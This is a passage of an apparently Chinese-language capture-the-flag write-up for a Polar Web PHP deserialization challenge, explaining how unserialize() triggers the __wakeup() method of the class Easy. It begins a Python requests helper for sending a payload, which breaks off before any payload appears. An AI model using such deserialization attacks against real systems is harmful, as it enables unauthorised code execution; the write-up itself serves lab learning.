Polar Web【简单】PHP反序列化初试
思路
启动环境,显示下图中的PHP代码,于是展开分析:
- 首先发现
Easy
类中有魔术函数__wakeup()
,实现的是对成员变量$name
的回显。- 观察下方发现,
unserialize()
函数将触发该魔术函数的执行,因此考虑构造序列字符串传入该类的成员变量$name
中,以触发命令执行。
- 本题分别使用手动注入和脚本运行两种方式进行解答。
EXP
手动
脚本
Python
import requests
def attack(url, payload):
url += payload
res = (requests.get(url).content.decode('utf8'))
if res:
print(res[